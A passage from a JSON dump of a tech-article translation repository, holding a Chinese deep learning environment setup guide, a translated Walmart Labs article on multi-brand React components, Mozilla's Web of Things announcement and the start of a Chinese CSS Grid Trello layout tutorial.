Tensorflow](https://www.tensorflow.org/versions/r0.9/get_started/os_setup.html#installing-from-sources)\n\n- install bazel: install jdk 8, uninstall jdk 9.\n- sudo apt-get install python-numpy swig python-dev\n- ./configure\n- build with bazel: bazel build -c opt –config=cuda //tensorflow/cc:tutorials_example_trainer, \nbazel-bin/tensorflow/cc/tutorials_example_trainer –use_gpu.\n\n##### 安装 keras\n\n1. 下载: [https://github.com/fchollet/keras/tree/master/keras](https://github.com/fchollet/keras/tree/master/keras)\n2. 定位到 Keras 目录中并运行安装命令：\n\n- sudo python setup.py install\n\n3. [改变默认后端](http://keras.io/backend/) 从 theano 到 tensorflow\n\n##### 使用 conda 在虚拟环境间进行切换\n\n1. source activate tensorflow\n2. source deactivate\n\n#### Mxnet\n\n##### 为 Mxnet 创建一个虚拟环境\n\n1. conda create -n mxnet python=2.7\n2. source activate mxnet\n\n##### 参考 [官方网站](http://mxnet-mli.readthedocs.io/en/latest/how_to/build.html#building-on-ubuntu-debian) 安装 mxnet\n\n1. sudo apt-get update\n2. sudo apt-get install -y build-essential git libatlas-base-dev libopencv-dev\n3. git clone –recursive https://github.com/dmlc/mxnet\n4. edit make/config.mk\n5. set cuda= 1, set cudnn= 1, add cuda path\n6. cd mxnet\n7. make clean_all\n8. make -j4\n\n- 我遇到的一个问题是，“高于 5.3 版本的 gcc 是不支持的！”, 而我的 gcc 为 5.4，因此我不得不删除它。\n\n> - apt-get remove gcc g++\n> - conda install -c anaconda gcc=4.8.5\n> - gcc –version\n\n##### 用于 mxnet 的[Python 包安装](http://mxnet-mli.readthedocs.io/en/latest/how_to/build.html#python-package-installation)\n\n1. conda install -c anaconda numpy=1.11.1\n2. 方法 1：\n\n- cd python; sudo python setup.py install\n- sudo apt-get install python-setuptools\n\n3. 方法 2：\n\n- cd mxnet\n- cp -r ../mxnet/python/mxnet .\n- cp ../mxnet/lib/libmxnet.so mxnet/\n\n4. 快速测试：\n\n- python example/image-classification/train_mnist.py\n\n5. GPU 测试：\n\n- python example/image-classification/train_mnist.py –network lenet –gpus 0\n\n#### Caffe\n\n1. 参考详细指南：[Caffe Ubuntu 16.04 或 15.10 安装指南](https://github.com/BVLC/caffe/wiki/Ubuntu-16.04-or-15.10-Installation-Guide)\n2. 需要安装 OpenCV。Opencv 3.1 的安装，参考以下链接：[Ubuntu 16.04 或 15.10 OpenCV 3.1 安装指南](https://github.com/BVLC/caffe/wiki/Ubuntu-16.04-or-15.10-OpenCV-3.1-Installation-Guide)\n\n#### Darknet\n\n- 这是所有需要安装工具中最易安装的。仅需运行 “make” 命令，就是这么简单。\n\n### 开箱即用的深度学习环境：Docker\n\n我已经在 Ubuntu 14.04 和 TITAN-X (cuda7.5) 上正确的安装过 caffe、darknet、mxnet 和 tensorflow 等。我已经完成了这些框架的项目，一切都很顺利。因此，如果你想专注于深度学习的研究，而不是被你可能遇到的外围问题所困扰，那么使用这些预先构建的环境比使用最新版本更安全。然后，您应该考虑使用 docker 将每个框架与它自己的环境隔离开来。这些 docker 镜像可以在 [DockerHub](https://hub.docker.com/) 中找到。\n\n#### 安装 Docker \n\n与虚拟器不同，docker 镜像由层构建。同一个组件可以在不同的镜像间共享。当我们下载一个新镜像，已经存在的组件是不需要重新下载的。相比于完全替换虚拟机镜像，这是非常高效和方便的。docker 容器是 docker 镜像的运行时。这些镜像可以被提交和更新，就如同 Git.\n\n要在 Ubuntu 16.04 上安装 docker，我们可以参考 [官方网站](https://docs.docker.com/engine/installation/linux/ubuntulinux/) 的指南。\n\n#### 安装 NVIDIA-Docker\n\ndocker 容器是硬件和平台无关的，但是 docker 并没有通过容器来支持 NVIDIA GPU。（硬件是专门的，需要驱动程序。）为了解决这个问题，在特定的机器上启动容器的时候，我们需要 nvidia-docker 挂载到设备和驱动文件上。在这种情况下，镜像对于 Nvidia 驱动是不可知的。 \n\nNVIDIA-Docker 的安装从 [这里](https://github.com/NVIDIA/nvidia-docker) 可以找到。\n\n#### 下载深度学习 Docker 镜像 \n\n我从 docker Hub 收集了一些预购建镜像。这些镜像列表如下：\n- cuda-caffe\n- cuda-mxnet\n- cuda-keras-tensorflow-jupyter\n\n#### 可以在 docker hub 上找到更多镜像。\n\n在主机和容器间共享数据\n对于计算机视觉研究人员来说，没有看到结果会很尴尬。例如，给一个图像添加毕加索风格，我们希望从不同的 epoch 输出结果。参考 [本页面](https://github.com/rocker-org/rocker/wiki/Sharing-files-with-host-machine) 快速在主机和容器间共享数据。在一个共享目录中，我们可以创建项目。在主机上，我们可以使用文本编辑器或者我们喜欢的 IDE 来编写代码。接着，我们可以在容器中运行程序。共享容器中的数据可以在基于 Ubuntu 机器的主机上通过 GUI 看到并处理。 \n\n#### 了解简单的 命令\n\n如果你是一个 docker 新手，不要不知所措。如果你将来不需要用到它的话，你是不需要系统的学习这方面的知识的。以下是一些在 docker 上 使用的简单命令。如果你认为 docker 是一个工具，这些命令足够了，并且仅仅是为了深度学习而使用它。\n\n##### 如何检查 docker 镜像？\n\n- docker images： 查询所有安装的 docker 镜像。\n\n##### 如何检查 docker 容器？\n\n- docker ps -a：查询所有安装的容器。\n- docker ps: 查询当前运行的容器\n\n##### 如何退出 docker 容器？\n\n1. (方法 1) 在对应于当前容器的终端输入：\n\n- exit\n\n2. (方法 2) 使用 [Ctrl + Alt + T] 打开一个新终端，或者使用 [Ctrl + Shift + T] 打开一个新终端：\n\n- docker ps -a：查询安装的镜像。\n- docker ps: 查询运行的容器。\n- docker stop [container’s ID]: 停止退出容器。\n\n3. 如何删除一个 docker 镜像？\n\n- docker rmi [docker_image_name]\n\n4. 如何删除一个 docker 容器？\n\n- docker rm [docker_container_name]\n\n5. 基于已经存在的镜像如何制作我们自己的 docker 镜像？（从一个已经创建的镜像更新容器并且将结果提交到镜像。）\n\n- 加载镜像，打开一个容器\n- 在容器中做一些修改\n-提交镜像：docker commit -m “Message: Added changes” -a “Author: Guanghan”  0b2616b0e5a8 ning/cuda-mxnet\n\n6. 在主机和 docker 容器之间拷贝数据：\n\n- docker cp foo.txt mycontainer:/foo.txt\n- docker cp mycontainer:/foo.txt foo.txt\n\n7. 从 docker 镜像中打开一个容器：\n\n- 是否需要保存这个容器，因为它是可以被提交的：docker run -it [image_name]\n- 如果容器只是暂时使用：docker run –rm -it [image_name]\n\n欢迎发表评论\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/building-react-components-for-multiple-brands-and-applications.md",
    "content": "> * 原文地址：[Building React Components for Multiple Brands and Applications](https://medium.com/walmartlabs/building-react-components-for-multiple-brands-and-applications-7e9157a39db4#.7tbsp6vsz)\n* 原文作者：[Alex Grigoryan](https://medium.com/@lexgrigoryan)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XatMassacrE](https://github.com/XatMassacrE) \n* 校对者：[Tina92](https://github.com/Tina92)、[reid3290](https://github.com/reid3290)\n\n---\n\n# 为多个品牌和应用构建 React 组件\n\n![](https://cdn-images-1.medium.com/max/1600/1*7bG_2QAIOzbKNeesEkkTzg.png)\n\n沃尔玛大家庭由多个不同的品牌组成，其中包括 [Sam’s Club](https://www.samsclub.com/)， [Asda](http://www.asda.com/)，和例如 [Walmart Canada](http://www.walmart.ca/en) 之类的地区分支。电商应用通常会使用大量类似的功能，例如信用卡组件、登录表单、新手引导、轮播图、导航栏等等。然而为每一个独立的品牌开发他们的电商应用将会降低代码的复用率，这将导致在相似功能的组件上耗费大量的时间进行重复性的工作。在 @WalmartLabs ， [代码的复用性对我们非常重要](https://medium.com/walmartlabs/how-to-achieve-reusability-with-react-components-81edeb7fb0e0#.arwumefxh)。这就是为什么我们的产品架构是基于多租户或者说多重品牌来构建的 —— 其实就是在为一个品牌构建组件的同时把这些组件应用在其他拥有不同外观和内容的品牌上的一种行为。接下来，你将会看到我们的React组件的多重品牌策略。\n\n就像上面说的，我们的大部分服务都是建立在不同类型的多租户上的。当你访问服务的时候，通常情况下你会在标头或者有效载荷上传递租户，然后该服务会给特定的租户提供数据。举例来说对于 samsclub.com 和 walmart.com，服务会拉取不同的项目数据。\n\n然后我们就尝试着在前端应用上推广这个想法。因为我们使用 React 和 Redux，视图层组件已经和应用的 state，actions 以及 reducers 分离开了。这意味着我们可以将 React 组件抽象出来作为一个 GitHub 组织，将 Redux actions，reducers 和已连接的组件抽象成另一个。通过把这些发布在 npm 的私人地址上，我们的开发者就可以轻易地安装，调试和升级这些分享出来的 UI 界面以及实现了我们业务逻辑的 actions 和 reducers 以及 API 调用。 [你可以了解更多关于我们这个地方的复用](https://medium.com/walmartlabs/how-to-achieve-reusability-with-react-components-81edeb7fb0e0#.arwumefxh)。\n\n当然，如果这就结束了，那么我们所有应用的外观和行为都将会是一模一样的了。然而实际上，每一个品牌对于视觉指导方案，业务需求或者内容都有不同的要求，而且这些要求对于每个品牌来说都是必不可少的。\n\n### 视觉差异\n\n单纯的视觉差异可以通过样式来处理。我们的样式主要是在组件级别。我们有一个 \"style\" 文件夹，在这个文件夹里面是一些租户文件夹，租户文件夹里面是租户的特定的样式文件。\n就像这样：\n    Component\n    - src\n    - styles\n      - walmart\n      - samsclub\n      - grocery\n\n当在组件层管理这些样式文件的时候，会发生一个问题，这个问题就是你的组件的 css 会相互冲突。在命名方面我是尤其没有创造性的，所以对于我来说绝对会产生冲突。我们将会使用 [CSS modules](https://github.com/css-modules/css-modules) （它有一个绝妙的 logo），它会帮助我们移除意外冲突的问题（在我们的原型中已经支持了）。\n\n在图标方面，我们可以抽取一些常用的图标放到一个单独 GitHub 组织并且按照需要导入到组件中。\n\n这些特定租户的 CSS 文件和图标在 build 的时候会使用 Webpack 打包到一起。\n\n### 内容差异\n\n基于服务地区的不同，不同的品牌有不同的内容需求。一个超级简单的例子就是，walmart.com 和 walmart.ca 显示 \"加入购物车\" 的地方，asda.com 只显示 \"加入\"，而我们的 George clothing 品牌显示 \"加入篮子\"，grocery.walmart.com 会显示一个图标。\n\n![](https://cdn-images-1.medium.com/max/1600/1*a-3DlvR6-xabNhFenEcRkg.png)\n\n我们使用 [React-Intl](https://github.com/yahoo/react-intl) 进行繁杂的内容管理。这些内容是在组件层面被管理的，和样式类似，每个租户都有他们自己的内容文件。你将会在你的租户或者品牌特定的内容文件夹（就像 CSS 一样）里指定你的内容，但是对于内容来讲不一样的地方是，对于没有指定的地方我们会使用 walmart.com 默认的内容。在组件的构建过程中，基于你的租户的构建参数，我们的 webpack 将会仅仅保留你的租户的内容加上那些来自 walmart.com 的默认内容。\n\n### 更大的差异\n\n在租户之间还有更大的差异，例如对于可分享组件中的 DOM 的变动我们会采取两个策略。对于微小的 DOM 变动, 我们通过组件的属性决定是否启用和操作它的子组件。我们的登录表单就是这样做的，Sam’s Club 希望在密码表单中有一个 \"显示密码\" 的按钮而 Walmart 则不需要。我将会使用一个叫做 “displayShowPassword” 的属性来管理这个租户的特定需求。\n\n有一点需要注意的是，如果你过份地依赖属性来管理不同的租户的需求的话，你的组件将会变的臃肿，这和更大的文件占用一样会使得开发更加难以管理。这个问题在租户之间的文件路径相互冲突时将会尤其明显。我们正在想办法解决这个问题。\n\n对于更大的改变说来，我们使用高级组件与合成组件。当然，这就需要在还没开发的时候就高瞻远瞩，在开发的第一天就思考如何构建出一个可配置的共享组件。从长期来看，复用性的回报是值得我们额外的预先思考的。\n\n### 较大差异的例子\n\n我们使用两个不同租户的 \"登录案例\" 来说明。请看下图，左边的图片需要邮箱，密码，显示忘记密码的链接和一个登录按钮，右边则是邮箱，密码，登录按钮和**页眉**以及**一些额外的链接**。我们可以明显的看到这两个租户的一些 UI 元素是可以共用的（举例来说就是他们都需要邮箱地址，密码和用户登录），而另外一些特定的功能又是不同的（举例来说就是右边的租户需要额外的链接和页眉）。\n\n现在，在我们深入之前我想先来解释一个问题 \"对于这些看起来并不相同的 UI，我们为什么不重新做一个而是尽可能的让它们适用于多个品牌呢？\"，从长期来讲（短期也是同理）即使这些组件看起来并不相同，但是基于一个已经存在的组件做拓展所花费的努力仍然要小于重新做一个。拿登录来说，因为你需要特殊的安全和隐私需求所以你必须要注意很多地方例如离开站点后哪些是不可见的，然后还要保证你拥有自动数据采集许可，而且还要支持所有的浏览器和移动端，处理错误，编写表单的自动填充（记住，我们还共享了 redux ）。在组件初始化的时候除了这个盒子以外的所有东西都需要被复制一遍。在未来还有可能发生例如 samsclub 需要优化想要 \"显示密码\" 或者 walmart 想要一个注册区域的需求。从本质上讲，只要一个团队修复了 bug ，做了 a/b 测试或者改进了表单，那么这些新增的部分都会被分享到所有的租户和品牌。\n\n好了，对于一直阐述为什么这个问题我感到很抱歉，接下来就让我们来讨论下如何解决在共享代码的同时又能够提供个性化和拓展性的问题吧。\n\n下面，我们将会应用之前讨论的两点 —— 使用**组合**和**属性**来控制一个组件的特性。\n\n![](https://cdn-images-1.medium.com/max/1600/1*3w8MYZu8-HuChhbQPSrlSg.gif)\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*X8Kmo4nhFo0ZvJea.)\n\n我们将会使用一个不同的例子来从面向切面编程的角度来解决问题。**面向切面编程**（**AOP**）是旨在通过允许分离问题的切面来增加模块性的一个编程范式。在这个例子中我们将会试着对 React 组件做一个横切面概念的 **\"追踪分析\"** 。那么如何来解决这个问题呢？\n\n我们将会使用上面提到的 \"高级组件\" 的概念。\n\n![](https://cdn-images-1.medium.com/max/1600/0*7Dfmiy7JH4clBEnW.)\n\n如果租户们在做追踪的时候有不同的方法，那么我们将对每个特定的租户使用不同的 HOC。\n\n在上述策略中，我们要确保编写的组件是遵循像**单一职责原则**，**避免重复原则** 之类的可以辅助不同租户间的代码共享的基本软件开发原则。\n\n这些就是我们在 @WalmartLabs 基于多租户策略的基础元素。同时也是我们能够开发出健壮，可维护的并且在不牺牲本地化和品牌化的前提下共享一个通用后端的应用的至关重要的基石。\n"
  },
  {
    "path": "TODO/building-the-web-of-things.md",
    "content": "\n> * 原文地址：[Building the Web of Things](https://hacks.mozilla.org/2017/06/building-the-web-of-things/)\n> * 原文作者：[Ben Francis](http://tola.me.uk/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-the-web-of-things.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-the-web-of-things.md)\n> * 译者：\n> * 校对者：\n\n# Building the Web of Things\n\nMozilla is working to create a Web of Things framework of software and services that can bridge the communication gap between connected devices. By providing these devices with web URLs and a standardized data model and API, we are moving towards a more decentralized Internet of Things that is safe, open and interoperable.\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_banner-1-500x275.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_banner-1.png)\n\nThe Internet and the World Wide Web are built on open standards which are decentralized by design, with anyone free to implement those standards and connect to the network without the need for a central point of control. This has resulted in the explosive growth of hundreds of millions of personal computers and billions of smartphones which can all talk to each other over a single global network.\n\nAs technology advances from personal computers and smartphones to a world where everything around us is connected to the Internet, new types of devices in our homes, cities, cars, clothes and even our bodies are going online every day.\n\n## The Internet of Things\n\nThe “Internet of Things” (IoT) is a term to describe how physical objects are being connected to the Internet so that they can be discovered, monitored, controlled or interacted with. Like any advancement in technology, these innovations bring with them enormous new opportunities, but also new risks.\n\nAt Mozilla our mission is “to ensure the Internet is a global public resource, open and accessible to all. An Internet that truly puts people first, where individuals can shape their own experience and are empowered, safe and independent.”\n\nThis mission has never been more important than today, a time when everything around us is being designed to connect to the Internet. As new types of devices come online, they bring with them significant new challenges around security, privacy and interoperability.\n\nMany of the new devices connecting to the Internet are insecure, do not receive software updates to fix vulnerabilities, and raise new privacy questions around the collection, storage, and use of large quantities of extremely personal data.\n\nAdditionally, most IoT devices today use proprietary vertical technology stacks which are built around a central point of control and which don’t always talk to each other. When they do talk to each other it requires per-vendor integrations to connect those systems together. There are efforts to create standards, but the landscape is extremely complex and there’s still not yet a single dominant model or market leader.\n\n[![A chart of leading proprietary IoT stacks](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_vertical_stacks-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_vertical_stacks.png)\n\n## The Web of Things\n\nUsing the Internet of Things today is a lot like sharing information on the Internet before the World Wide Web existed. There were competing hypertext systems and proprietary GUIs, but the Internet lacked a unifying application layer protocol for sharing and linking information.\n\nThe “Web of Things” (WoT) is an effort to take the lessons learned from the World Wide Web and apply them to IoT. It’s about creating a decentralized Internet of Things by giving Things URLs on the web to make them linkable and discoverable, and defining a standard data model and APIs to make them interoperable.\n\n[![A table showing Web of Things standards](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_horizontal_layers-500x207.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_horizontal_layers.png)\n\nThe Web of Things is not just another vertical IoT technology stack to compete with existing platforms. It is intended as a unifying horizontal application layer to bridge together multiple underlying IoT protocols.\n\nRather than start from scratch, the Web of Things is built on existing, proven web standards like REST, [HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP), [JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON), [WebSockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) and TLS (Transport Layer Security). The Web of Things will also require new web standards. In particular, we think there is a need for a Web Thing Description format to describe things, a REST style Web Thing API to interact with them, and possibly a new generation of HTTP better optimised for IoT use cases and use by resource constrained devices.\n\nThe Web of Things is not just a Mozilla Initiative, there is already a well established[ Web of Things community](http://webofthings.org/) and related standardization efforts at the[ IETF](https://www.ietf.org/id/draft-keranen-t2trg-rest-iot-04.txt),[ W3C](https://www.w3.org/WoT/),[ OCF](https://openconnectivity.org/developer/specifications) and[ OGC](https://github.com/opengeospatial/sensorthings). Mozilla plans to be a participant in this community to help define new web standards and promote best practices around privacy, security and interoperability.\n\nFrom this existing work three key integration patterns have emerged for connecting things to the web, defined by the point at which a Web of Things API is exposed to the Internet.\n\n[![Diagram comparing Direct, Gateway, and Cloud Integration Patterns](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_integration_patterns-500x213.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_integration_patterns.png)\n\n### Direct Integration Pattern\n\nThe simplest pattern is the direct integration pattern where a device exposes a Web of Things API directly to the Internet. This is useful for relatively high powered devices which can support TCP/IP and HTTP and can be directly connected to the Internet (e.g. a WiFi camera). This pattern can be tricky for devices on a home network which may need to use NAT or TCP tunneling in order to traverse a firewall. It also more directly exposes the device to security threats from the Internet.\n\n### Gateway Integration Pattern\n\nThe gateway integration pattern is useful for resource-constrained devices which can’t run an HTTP server themselves and so use a gateway to bridge them to the web. This pattern is particularly useful for devices which have limited power or which use PAN network technologies like Bluetooth or ZigBee that don’t directly connect to the Internet (e.g. a battery powered door sensor). A gateway can also be used to bridge all kinds of existing IoT devices to the web.\n\n### Cloud Integration Pattern\n\nIn the cloud integration pattern the Web of Things API is exposed by a cloud server which acts as a gateway remotely and the device uses some other protocol to communicate with the server on the back end. This pattern is particularly useful for a large number of devices over a wide geographic area which need to be centrally co-ordinated (e.g. air pollution sensors).\n\n## Project Things by Mozilla\n\nIn the Emerging Technologies team at Mozilla we’re working on an experimental framework of software and services to help developers connect “things” to the web in a safe, secure and interoperable way.\n\n[![Things Framework diagram](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/project_things_architecture-500x582.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/project_things_architecture.png)\n\nProject Things will initially focus on developing three components:\n\n- Things Gateway — An open source implementation of a Web of Things gateway which helps bridge existing IoT devices to the web\n- Things Cloud — A collection of Mozilla-hosted cloud services to help manage a large number of IoT devices over a wide geographic area\n- Things Framework — Reusable software components to help create IoT devices which directly connect to the Web of Things\n\n## Things Gateway\n\nToday we’re announcing the availability of a prototype of the first component of this system, the Things Gateway. We’ve made available a software image you can use to [build your own Web of Things gateway](http://iot.mozilla.org/gateway) using a Raspberry Pi.\n\n[![Things Gateway diagram](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/things_gateway_architecture-500x433.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/things_gateway_architecture.png)\n\nSo far this early prototype has the following features:\n\n- Easily discover the gateway on your local network\n- Choose a web address which connects your home to the Internet via a secure TLS tunnel requiring zero configuration on your home network\n- Create a username and password to authorize access to your gateway\n- Discover and connect commercially available ZigBee and Z-Wave smart plugs to the gateway\n- Turn those smart plugs on and off from a web app hosted on the gateway itself\n\nWe’re releasing this prototype very early on in its development so that hackers and makers can get their hands on the source code to build their own Web of Things gateway and contribute to the project from an early stage.\n\nThis initial prototype is implemented in JavaScript with a NodeJS web server, but we are exploring an adapter add-on system to allow developers to build their own Web of Things adapters using other programming languages like Rust in the future.\n\n## Web Thing API\n\nOur goal in building this IoT framework is to lead by example in creating a Web of Things implementation which embodies Mozilla’s values and helps drive IoT standards around security, privacy and interoperability. The intention is not just to create a Mozilla IoT platform but an open source implementation of a Web of Things API which anyone is free to implement themselves using the programming language and operating system of their choice.\n\nTo this end, we have started working on a draft [Web Thing API specification](https://mozilla-iot.github.io/wot/) to eventually propose for standardization. This includes a simple but extensible Web Thing Description format with a default JSON encoding, and a REST + WebSockets Web Thing API. We hope this pragmatic approach will appeal to web developers and help turn them into WoT developers who can help realize our vision of a decentralized Internet of Things.\n\nWe encourage developers to experiment with using this draft API in real life use cases and provide [feedback](https://github.com/mozilla-iot/wot/issues) on how well it works so that we can improve it.\n\n[![Web Thing API spec - Member Submission](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/web_thing_api_specification-500x375.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/web_thing_api_specification.png)\n\n## Get Involved\n\nThere are many ways you can contribute to this effort, some of which are:\n\n- Build a Web Thing — build your own IoT device which uses the [Web Thing API](https://mozilla-iot.github.io/wot/)\n- Create an adapter — Create an [adapter](https://github.com/mozilla-iot/gateway/tree/master/adapters) to bridge an existing IoT protocol or device to the web\n- Hack on Project Things — Help us develop Mozilla’s Web of Things [implementation](https://github.com/mozilla-iot)\n\nYou can find out more at [iot.mozilla.org](http://iot.mozilla.org) and all of our source code is on [GitHub](https://github.com/mozilla-iot). You can find us in #iot on [irc.mozilla.org](https://wiki.mozilla.org/IRC) or on our [public mailing list](https://mail.mozilla.org/listinfo/mozilla.dev.iot).\n\n## About [Ben Francis](http://tola.me.uk)\n\nFull time UK-based Mozillian, working on the Web of Things.\n\n- [tola.me.uk](http://tola.me.uk)\n- [@bfrancis](http://twitter.com/bfrancis)\n\n[More articles by Ben Francis…](https://hacks.mozilla.org/author/benfrancis/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/building-trello-layout-css-grid-flexbox.md",
    "content": "\n> * 原文地址：[Building a Trello Layout with CSS Grid and Flexbox](https://www.sitepoint.com/building-trello-layout-css-grid-flexbox/)\n> * 原文作者：[Giulio Mainardi](https://www.sitepoint.com/author/gmainardi/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-trello-layout-css-grid-flexbox.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-trello-layout-css-grid-flexbox.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[ahonn](https://github.com/ahonn)\n\n# 使用 CSS 栅格和 Flexbox 打造 Trello 布局\n \n通过本教程，我将带你完成 [Trello](https://trello.com/) 看板 ([查看示例](https://trello.com/b/nC8QJJoZ/trello-development-roadmap))的基本布局。这是一个响应式的、纯 CSS 的解决方案，并且我们将只开发布局的结构特性。\n\n[这是一个 CodePen demo](https://codepen.io/SitePoint/pen/brmXRX?editors=0100)，可预览一下最终结果。\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/08/1504250645trello-screen.png)\n\n除了[栅格布局](https://www.sitepoint.com/introduction-css-grid-layout-module/)和 [Flexbox](https://www.sitepoint.com/flexbox-css-flexible-box-layout/)，这个方案还采用了 [calc](https://www.sitepoint.com/css3-calc-function/) 和[视图单位](https://www.sitepoint.com/css-viewport-units-quick-start/)。我们也将利用 [Sass 变量](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#variables_)，让代码更可读和高效。\n\n不提供向下兼容，所以请确保在支持的浏览器上运行。一切就绪，就让我们开始一步一步开发看板组件吧。\n\n## 屏幕布局\n\n一个 Trello 看板由一个 app 栏、一个 board 栏和一个包含卡片列表的部分组成。我使用以下标签骨架搭建出这一结构：\n\n```html\n<div class=\"ui\">\n  <nav class=\"navbar app\">...</nav>\n  <nav class=\"navbar board\">...</nav>\n  <div class=\"lists\">\n    <div class=\"list\">\n      <header>...</header>\n      <ul>\n        <li>...</li>\n        ...\n        <li>...</li>\n      </ul>\n      <footer>...</footer>\n    </div>\n  </div>\n</div>\n```\n\n这个布局将通过 CSS 栅格实现。确切地说是 3×1 栅格（就是指一列三行）。第一行用于 app 栏，第二行用于 board 栏，第三行用于 `.lists` 元素。\n\n前两行各自有一个固定的高度，而第三行将撑起可变窗口高度的其余部分：\n\n```css\n.ui {\n  height: 100vh;\n  display: grid;\n  grid-template-rows: $appbar-height $navbar-height 1fr;\n}\n```\n\n视图单位可以确保 `.ui` 容器总是和浏览器的窗口高度一致。\n\n一个栅格化的上下文被分配给容器，并且指定了上文说的行和列。确切地说，是只指定了行，因为声明单独的列是没有必要的。一对 Sass 变量指定了两个栏目的高度，使用 `fr` 单位指定 `.lists` 元素高度使其撑起可变窗口高度的其余部分，这样每行的大小就设定完成了。\n\n## 卡片列表部分\n\n如上所述，屏幕栅格的第三行托管着卡片列表的容器。这是标签的轮廓：\n\n```html\n<div class=\"lists\">\n  <div class=\"list\">\n    ...\n  </div>\n  ...\n  <div class=\"list\">\n    ...\n  </div>\n</div>\n```\n\n我用一个满屏宽的 Flexbox 单行行容器来格式化列表：\n\n```\n.lists {\n  display: flex;\n  overflow-x: auto;\n  > * {\n    flex: 0 0 auto; // 'rigid' lists\n    margin-left: $gap;\n  }\n  &::after {\n    content: '';\n    flex: 0 0 $gap;\n  }\n}\n```\n\n给 `overflow-x` 指定 auto 值，当列表不适合视口提供的宽度时，浏览器会在屏幕底部显示一个水平滚动条。\n\n`flex` 简写属性用于 flex item 使列表更严格。`flex-basis` （简写的方式使用）的 auto 值指示布局引擎从 `.list` 元素的宽度属性取值，`flex-grow` 和 `flex-shrink` 的 0 值可以防止宽度的改变。\n\n接下来我将在列表之间添加一个水平分隔。如果给列表设置右间距，当水平溢出时看板上最后一个列表之后的间距不会被渲染。为了解决这个问题，列表被一个左间距分隔并且最后一个列表和窗口右边缘的间距通过给每个 `.lists` 元素添加一个伪元素 `::after` 来实现。默认值 `flex-shrink: 1` 一定要被重写，否则这个伪元素会”吸收“所有的负空间，然后消失。\n\n注意在 Firefox < 54 的版本上要给 `.lists` 指定 `width: 100%` 以确保正确的布局渲染。\n\n## 卡片列表\n\n每个卡片列表由一个 header 栏、一个卡片序列和一个 footer 栏目组成。以下 HTML 代码段实现了这一结构：\n\n```html\n<div class=\"list\">\n  <header>List header</header>\n  <ul>\n    <li>...</li>\n    ...\n    <li>...</li>\n  </ul>\n  <footer>Add a card...</footer>\n</div>\n```\n\n这里的关键任务是如何管理列表的高度。header 和 footer 有固定的高度(未必相等)。然后有一些不定数量的卡片，每个卡片都有不定量的内容。因此随着卡片的添加和移除，这个列表也会增大和缩小。\n\n但是高度不能无限增大，它需要有一个取决于 `.lists` 元素高度的上限。一旦突破上线，我想有一个垂直滚动条出现来允许访问溢出列表的卡片。\n\n这听起来是 `max-height` 和 `overflow` 属性能做的。但如果根容器 `.list` 提供了这些属性，一旦列表达到了它的最大高度，所有的 `.list` 元素包括 header 和 footer 